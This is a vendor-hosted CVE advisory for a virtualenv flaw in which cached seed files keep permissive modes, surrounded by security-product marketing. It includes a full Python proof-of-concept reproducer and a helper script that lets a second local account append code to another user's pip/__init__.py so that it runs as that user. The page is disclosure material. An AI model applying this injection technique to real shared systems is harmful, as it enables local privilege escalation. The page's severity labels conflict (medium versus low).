CVE-2026-113720

CVE-2026-113720 is a medium-severity incorrect permission assignment for critical resource vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

virtualenv: Seeded files retain permissions from an older cache

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache
populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another
account must also be able to traverse the new environment and reach those files. A private parent directory prevents
that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in
copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with
shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the
current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can
receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used
umask 022; a later environment had no files writable by another account, and that account could not append to
pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report
counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and
bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both
histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable
destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates
app-data copy seeding to #1578, first released in 20.0.2. PR #3425
creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant C as Private app-data cache
    participant E as Later environment
    participant A as Other local account
    U->>C: first seed extraction under umask 000
    C-->>U: cached pip files have mode 0666
    U->>E: create environment under umask 022
    C->>E: shutil.copy reapplies mode 0666
    A->>E: append code to pip/__init__.py
    U->>E: run bin/pip --version
    E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes
os.umask(0o022)  # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"]  # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()


def run_as_owner(command, home, umask):
    environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)


def mode(path):
    return stat.filemode(os.stat(path).st_mode)


work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777)  # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
    home = work / f"{case}-home"
    home.mkdir(mode=0o700)
    os.chown(home, OWNER, OWNER)
    projects = work / f"{case}-projects"
    projects.mkdir(mode=0o755)
    os.chown(projects, OWNER, OWNER)

    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
    run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
    # owner, today
    env = projects / "env"
    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

    (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
    (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
    env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
    print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
    print(f"{case}   cache pip/__init__.py  {mode(cached_pip)}")
    print(f"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}")
    print(f"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}")
    print(f"{case}   env   pip/__init__.py  {mode(seeded_pip)}")
    print(f"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}")

    # attack: another local user appends a line to the owner's seeded pip
    proof = proofs / case
    subprocess.run(
        ["python3", "-", str(env), str(proof)],
        input=ATTACK,
        text=True,
        user=OTHER_USER,
        group=OTHER_USER,
        extra_groups=[],
        env={"PATH": os.environ["PATH"]},
        cwd="/",
        check=True,
    )

    # the owner uses the environment
    run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
    print(f"{case}   other user's line ran as uid: {appended_line_ran_as[case]}")

# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")

repro.d/other_user_appends_to_pip.py

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the
current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not
preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were
inherited from a permissive cache.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those
accounts to be able to traverse the destination's parent directories. An attacker need not control the private source
cache.

Severity: low.

A file, directory, or other resource is assigned permissions that allow broader access than intended. Typical impact: unauthorized read, modification, or execution of the resource.

Affected versions

virtualenv (< 21.14.9)

Security releases

virtualenv → 21.14.9 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade virtualenv to 21.14.9 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-113720? CVE-2026-113720 is a medium-severity incorrect permission assignment for critical resource vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9. A file, directory, or other resource is assigned permissions that allow broader access than intended.
  2. Which versions of virtualenv are affected by CVE-2026-113720? virtualenv (pip) versions < 21.14.9 is affected.
  3. Is there a fix for CVE-2026-113720? Yes. CVE-2026-113720 is fixed in 21.14.9. Upgrade to this version or later.
  4. Is CVE-2026-113720 exploitable, and should I be worried? Whether CVE-2026-113720 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-113720 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-113720? Upgrade virtualenv to 21.14.9 or later.

Other vulnerabilities in virtualenv

Stop the waste.
Protect your environment with Kodem.